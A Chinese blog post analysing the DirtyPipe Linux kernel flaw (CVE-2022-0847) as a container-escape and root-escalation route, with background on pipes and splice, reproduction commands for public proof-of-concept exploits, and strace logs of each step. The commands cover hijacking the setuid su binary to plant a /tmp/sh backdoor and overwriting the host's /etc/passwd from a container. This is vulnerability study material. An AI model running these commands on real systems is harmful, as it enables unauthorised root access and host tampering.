容器逃逸漏洞分析 DirtyPipe脏管 CVE-2022-0847

已于 2024-01-03 11:11:52 修改
阅读量1.5k 收藏 21
点赞数 23
分类专栏： 容器安全 文章标签： 容器 安全
于 2024-01-02 22:55:36 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_31610083/article/details/135351996
版权

容器逃逸漏洞分析 CVE-2022-0847(dirtypipe)

一、漏洞基本信息

条目详情备注
发布日期2022-3-7
CVE-IDCVE-2022-0847
CVE Detailshttps://www.cvedetails.com/cve/CVE-2022-0847
攻击向量本地
影响范围Linux内核 [5.15,5.15.25]、Linux内核 [5.16,5.16.11]、Linux内核 [5.8,5.10.102]
修复版本Linux 内核 >= 5.16.11、Linux 内核 >= 5.15.25、Linux 内核 >= 5.10.102
CVSS7.8（高危）CVSS：3.1/AV：L/AC：L/PR：L/UI：N/S：U/C：H/I：H/A：HCNVD-CVE20220847

二、漏洞简介

在 Linux 内核函数 copy_page_to_iter_pipe() 和 push_pipe() 中，如果没有正确初始化新建管道缓冲区结构的“flags”成员，则该值可能会留下上次创建管道残留的值。非特权本地用户可利用此漏洞写入只读文件的页面缓存，从而提升权限。

三、前置知识

pipe：管道

管道是一种进程间通信机制，可以用于连接两个文件描述符(fd)，并在两端之间传输数据。

splice：文件与管道间数据拷贝

splice()可以在两个文件描述符之间移动数据，而不需要在内核地址空间和用户地址空间之间进行复制，作用是减小上下文切换的开销（零拷贝）。它将最多len字节的数据从fd1传输到fd2，其中一个文件描述符必须引用管道。

四、漏洞利用路径

  1. 准备工作
    1. 页面（su）原内容保存
    2. 脏管构建1：创建并写满管道(pipe_write)，所有pipe_buffer的flag 默认初始化为`PIPE_BUF_FLAG_CAN_MERGE，此标志告诉内核可以在不强制重写数据的情况下更新页面。
    3. 脏管构建2：清空管道(pipe_read)，释放所有pipe_buffer，这样通过splice 系统调用传送文件的时候就会使用原有的初始化过的buf 结构，即使用上一步留下的flag。
  2. 页面引用：调用splice()，引用待篡改的页面缓存。（相当于将脏管接到待写页）
  3. 页面篡改：继续向pipe写入内容，由于遗留的PIPE_BUF_FLAG_CAN_MERGE标志，该写入不会创建新的pipe_buffer， 而是直接写入到页面缓存中，完成篡改。
  4. 提权
    1. 创建后门：执行篡改后的su，创建后门(/tmp/sh)。
    2. 页面恢复：将保存的页面原内容依然利用脏管写入。
    3. 提权：执行后门，弹出root shell。

五、漏洞复现和行为数据分析

宿主OS：ubuntu 18.04

metarget版本（提权）：

# 环境搭建
git clone https://github.com/Metarget/metarget.git && cd metarget
sudo apt update && sudo apt install -y python3-pip
sudo pip3 install -r requirements.txt
./metarget cnv install cve-2022-0847 --verbose
# 提权演示
whoami
#ubuntu
cd ~/metarget/writeups_cnv/kernel-cve-2022-0847/
gcc -o poc poc.c
./poc `which su`
whoami
#root

greenhandatsjtu版本（写宿主文件）：

启动容器时设置CAP_DAC_READ_SEARCH权限，忽略文件读及目录搜索的 DAC 访问限制，才可以进行shocker攻击。

git clone https://github.com/greenhandatsjtu/CVE-2022-0847-Container-Escape.git && cd CVE-2022-0847-Container-Escape
cp /etc/password . # back up /etc/password
gcc dp.c -o dp
docker run --rm -it -v $(pwd):/exp --cap-add=CAP_DAC_READ_SEARCH ubuntu 
/exp/dp /etc/passwd 1 ootz: # overwrite /etc/password on host from offset 1
/etc/dp /etc/passwd # dump /etc/passwd on host

行为数据分析

  1. 页面（su）原内容保存

    594622 04:29:51.018858 openat(AT_FDCWD, "/usr/bin/su", O_RDONLY) = 3 <0.000055>
594622 04:29:51.018968 brk(NULL)        = 0x5601ecc66000 <0.000004>
594622 04:29:51.018990 brk(0x5601ecc87000) = 0x5601ecc87000 <0.000049>
594622 04:29:51.019107 lseek(3, 1, SEEK_SET) = 1 <0.000004>
594622 04:29:51.019125 read(3, "ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@@\0\0\0\0\0\0@"..., 406) = 406 <0.000005>
594622 04:29:51.019190 close(3)         = 0 <0.000008>

  2. 脏管构建1：创建并写满管道(pipe_write)，这样所有pipe_buffer的flag 默认初始化为PIPE_BUF_FLAG_CAN_MERGE

    104365 08:30:14.729762 fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x26), ...}) = 0 <0.000005>
104365 08:30:14.729784 write(1, "[+] hijacking suid binary..\n", 28) = 28 <0.000558>
104365 08:30:14.730369 openat(AT_FDCWD, "/usr/bin/su", O_RDONLY) = 3 <0.000009>
104365 08:30:14.730402 fstat(3, {st_mode=S_IFREG|S_ISUID|0755, st_size=67816, ...}) = 0 <0.000005>
104365 08:30:14.730424 pipe([4, 5])     = 0 <0.000008>
104365 08:30:14.730447 fcntl(5, F_GETPIPE_SZ) = 65536 <0.000005>
104365 08:30:14.730466 write(5, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000009>
104365 08:30:14.730490 write(5, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000006>
...
104365 08:30:14.730510 write(5, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000006>

  3. 脏管构建2：清空管道(pipe_read)，释放所有pipe_buffer，这样通过splice 系统调用传送文件的时候就会使用原有的初始化过的buf 结构，即使用上一步留下的flag。

    104365 08:30:14.730783 read(4, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000013>
104365 08:30:14.730812 read(4, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000006>
...
104365 08:30:14.730831 read(4, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000005>

  4. 页面引用：调用splice()，将指定偏移量前一个字节拼接到管道中，引用待篡改的页面缓存。

    104365 08:30:14.731082 splice(3, [0], 5, NULL, 1, 0) = 1 <0.000006>

  5. 页面篡改：继续向pipe写入内容，由于PIPE_BUF_FLAG_CAN_MERGE标志，该写入不会创建新的pipe_buffer， 而是直接写入到页面缓存中，完成篡改。

    104365 08:30:14.731102 write(5, "ELF\2\1\1\0\0\0\0\0\0\0\0\0\2\0>\0\1\0\0\0x\0@\0\0\0\0\0@"..., 406) = 406 <0.000004>

  6. 提权

    1. 创建后门：执行篡改后的su，创建后门/tmp/sh。
    594625 04:29:51.036901 execve("/usr/bin/su", ["/usr/bin/su"], 0x561a0783ab60 /* 18 vars */) = 0 <0.000210>
594625 04:29:51.037261 open("/tmp/sh", O_WRONLY|O_CREAT|O_TRUNC, 000) = 3 <0.000137>
594625 04:29:51.037537 write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\2\0>\0\1\0\0\0x\0@\0\0\0\0\0"..., 186) = 186 <0.000105>
594625 04:29:51.037757 close(3)         = 0 <0.000134>
594625 04:29:51.038058 chmod("/tmp/sh", 04755) = 0 <0.000103>
594625 04:29:51.038303 exit(0)          = ?
    1. 页面恢复：将保存的原页面内容依然利用脏管写入。
    594622 04:29:51.039382 openat(AT_FDCWD, "/usr/bin/su", O_RDONLY) = 3 <0.000008>
594622 04:29:51.039414 fstat(3, {st_mode=S_IFREG|S_ISUID|0755, st_size=67816, ...}) = 0 <0.000004>
594622 04:29:51.039435 pipe([6, 7])     = 0 <0.000008>
594622 04:29:51.039458 fcntl(7, F_GETPIPE_SZ) = 65536 <0.000004>
594622 04:29:51.039474 write(7, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000006>
594622 04:29:51.039496 write(7, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000005>
...
594622 04:29:51.039515 write(7, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000005>
594622 04:29:51.040027 read(6, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000069>
594622 04:29:51.040158 read(6, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000005>
...
594622 04:29:51.041245 read(6, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000049>
594622 04:29:51.041359 splice(3, [0], 7, NULL, 1, 0) = 1 <0.000006>
594622 04:29:51.041382 write(7, "ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@@\0\0\0\0\0\0@"..., 406) = 406 <0.000009>
594622 04:29:51.041446 close(3)         = 0 <0.000056>
    1. 提权：执行后门，弹出root shell。
    594627 04:29:51.055724 execve("/tmp/sh", ["/tmp/sh"], 0x563ae1a07b48 /* 18 vars */) = 0 <0.000176>
594627 04:29:51.056034 setuid(0)        = 0 <0.000097>
594627 04:29:51.056252 setgid(0)        = 0 <0.000098>
594627 04:29:51.056459 execve("/bin/sh", ["/bin/sh"], 0x7ffd60da59a8 /* 0 vars */) = 0 <0.000166>

六、总结

本文详细分析了一个基于内核漏洞的经典容器逃逸漏洞（CVE-2022-0847），也就是著名的“脏管”漏洞，从理论分析漏洞利用路径到用strace采集具体的执行步骤，对该漏洞每一步的原理和行为进行剖析。该漏洞目前也有许多变种，后面也会继续分析（挖坑）。

七、参考链接

  1. https://dirtypipe.cm4all.com/
  2. https://haxx.in/files/dirtypipez.c
  3. https://github.com/Metarget/metarget/tree/master/writeups_cnv/kernel-cve-2022-0847
  4. https://github.com/chenaotian/CVE-2022-0847
  5. https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit/blob/main/exploit.c
  6. https://github.com/liamg/traitor/blob/main/pkg/exploits/cve20220847/exploit.go
  7. https://github.com/greenhandatsjtu/CVE-2022-0847-Container-Escape
  8. CVE-2022-0847 “Dirty Pipe”漏洞复现及简要分析 - 先知社区 (aliyun.com)
  9. 乌特拉安全实验室丨DirtyPipe Linux 内核提权漏洞（CVE-2022-0847） - FreeBuf网络安全行业门户
  10. https://www.man7.org/linux/man-pages/man2/splice.2.html
Docker Dirtypipe（CVE-2022-0847）漏洞复现与分析容器逃逸
SHELLCODE_8BIT的博客
08-07 1052
GitHub - greenhandatsjtu/CVE-2022-0847-Container-Escape: CVE-2022-0847 used to achieve container escape 利用CVE-2022-0847 (Dirty Pipe) 实现容器逃逸
红队攻防渗透技术实战流程：云安全之云原生安全：内核漏洞和版本漏洞
HACKONE的博客
05-21 733
常规检测：https://github.com/teamssix/container-escape-check。检测利用：https://github.com/cdk-team/CDK。-CVE-2020-15257 containerd逃逸。4、实验获取到docker搭建的Web权限后进行逃逸。#云原生-Docker安全-容器逃逸&CDK自动化。#云原生-Docker安全-容器逃逸&内核漏洞。#云原生-Docker安全-容器逃逸&版本漏洞。-CVE-2019-5736 runC容器逃逸。
CVE-2022-0847
04-03
https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
Dirt Pipe 提权漏洞
最新发布
augurstern的博客
03-22 684
当一个进程试图读取或写入管道数据时，内核会错误地将攻击者提供的数据写入到只读文件的缓存中，且后续这些修改会被同步到实际的文件系统，从而绕过了文件的只读权限限制。通过配置AIDE的规则文件，定义需要监控的文件和目录，以及监控的方式（如文件大小、权限、哈希值等）。：攻击者利用特定的系统调用和数据构造方式，使得内核在处理管道数据时，将数据错误地写入到只读文件对应的缓存页中。：仔细审查系统中文件和目录的权限设置，确保非特权用户没有对敏感文件（如/etc/passwd、/bin/bash等）的写权限。
CVE-2022-0847Linux内核提权漏洞
qq_49091880的博客
04-12 4655
步骤有点简略，各位师傅见谅
新近爆出的runC容器逃逸漏洞，用户如何面对？
weixin_33912445的博客
02-13 281
runC是一个根据OCI（Open Container Initiative）标准创建并运行容器的CLI工具，目前Docker引擎内部也是基于runc构建的。 2019年2月11日，研究人员通过oss-security邮件列表（https://www.openwall.com/list... ）披露了runc容器逃逸漏洞的详情，根据Ope...
CVE-2022-0847：脏管道漏洞分析及对容器的影响
include_voidmain的博客
06-29 983
CVE-2022-0847：脏管道漏洞分析及对容器的影响
CVE-2022-0847（Dirty Pipe）
江左盟的博客
03-14 1万+
简介 2022年03月07日，国外安全研究员Max Kellermann披露了一个Linux内核本地权限提升漏洞 CVE-2022-0847。攻击者通过利用此漏洞可进行任意可读文件重写，将普通权限用户提升到 root权限。该漏洞原理类似于 CVE-2016-5195（Dirty Cow），因此作者将此漏洞命名为“Dirty Pipe”。 漏洞作者原文：https://dirtypipe.cm4all.com 影响范围 Linux内核版本大于等于5.8，或小于5.16.11，5.15.25，5.10.102
ATT&CK权限提升-Linux提权总结
u013797594的博客
06-12 1932
ATT&CK权限提升-Linux提权总结
红队专题-Perm权限提升与维持隐匿Privilege Escalation
aming小老弟
10-27 1399
高权限不仅能对更多文件进行增删改查的操作，方便进一步收集主机系统中的敏感信息， system权限也可以提取内存中的密码Hash，为进一步的渗透提供更多信息。权限提升是从初始访问权限（通常是标准用户或应用程序帐户）一直提升到administrator, root甚至SYSTEM访问权限的艺术。常见技术或攻击手段来获得高权限帐户访问权限。用于检测和利用不同权限提升技术的手动方法，但会提到可以完成相同工作并节省您一些时间的自动化工具。 完美，它指向我们的有效负载。 使用net（也是默认安装的）启动此服务以获得
CVE-2022-0847 DirtyPipe 漏洞利用工具安装及使用指南
gitblog_00762的博客
08-13 619
CVE-2022-0847 DirtyPipe 漏洞利用工具安装及使用指南 CVE-2022-0847-DirtyPipe-ExploitA root exploit for CVE-2022-0847 (Dirty Pipe)项目地址:https://gitcode.com/gh_mirrors/cv/CVE-2022-0847-DirtyPipe-Exploit 一、项目介绍 背景概述 CV...
Docker 容器逃逸漏洞 (CVE-2020-15257)
热门推荐
12-26 2万+
漏洞简述： 当在docker使用–net=host参数启动，与宿主机共享net namespace时，容器中的攻击者可以绕过访问权限访问 containerd 的控制API 进而导致权限提升。 漏洞利用： (1)安装有漏洞的containerd版本，影响版本containerd< 1.3.9&&containerd < 1.4.3 #列出仓库中可用的版本，安...
Dirty Pipe脏管道提权漏洞复现(CVE-2022-0847)
小千安全
05-06 1004
攻击者通过 CVE-2022-0847 可覆盖重写任意可读文件中的数据，可将普通权限的用户提升到特权 root这个漏洞作者将其命名为了 Dirty Pipe（脏管道），一看到这名字讲道理就让人想到了 Dirty Cow（脏牛），这是因为该漏洞的原理比较类似于 Dirty Cow，但这个漏洞更容易被利用。
docker容器_Docker 容器逃逸漏洞
weixin_35207054的博客
12-27 260
2020年12月1日，阿里云应急响应中心监测到 containerd 官方发布安全更新，修复了 Docker 容器逃逸漏洞(CVE-2020-15257)。漏洞描述Containerd 是一个控制 runC 的守护进程，提供命令行客户端和 API，用于在一个机器上管理容器。在特定网络条件下，攻击者可通过访问containerd-shim API，从而实现Docker容器逃逸。阿里云应急响...
DirtyPipe(CVE-2022-0847) 脏管漏洞复现分析
Zyecho的博客
07-20 4894
本实验详细记录了DirtyPipe(CVE-2022-0847) 脏管漏洞的分析和复现
DirtyPipe 利用（CVE-2022-0847）
内核工匠
10-21 4750
事件背景3月初，国外安全研究人员披露了一个新的Android/Linux内核的高危漏洞，漏洞编号为CVE-2022-0847。由于类似大名鼎鼎的DirtyCOW（脏牛）漏洞，又被命名为DirtyPipe（脏管道）。漏洞从上游linux内核5.8版本的一个补丁引入，影响所有使用linux内核的操作系统，在最新的手机系统Android12+kernel5.10上也有巨大安全危害。经过我们内部研究发现，...
CVE-2022-0847 Linux内核提权漏洞分析
道阻且长，行则将至
04-06 5799
文章目录前言漏洞复现1.1 文件覆写poc/exp1.2 覆写/etc/passwd漏洞分析2.1 Linux管道机制2.2 splice系统调用2.3 漏洞利用流程总结 前言 2022年2月23日，Linux 内核发布漏洞补丁，修复了内核 5.8 及之后版本存在的任意文件覆盖的漏洞 (CVE-2022-0847)，该漏洞可导致普通用户本地提权至 root 特权，因为与之前出现的 DirtyCow “脏牛”漏洞 (CVE-2016-5195) 原理类似，该漏洞被命名为 DirtyPipe。 在3月7日，漏洞
学习打靶--CVE-2022-0847--pingme（1）
m0_57276559的博客
06-09 2129
打靶学习---pingme
CVE-2022-0847（脏管）
sagic的博客
11-21 288
CVE-2022-0847-DirtyPipe-Exploit CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞，可覆盖重写任意可读文件中的数据，从而可将普通权限的用户提升到特权 root。CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞（Dirty Cow），但它更容易被利用。漏洞作者将此漏洞命名为“Dirty Pipe“影响范围Linux Kernel版本 >= 5.8。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值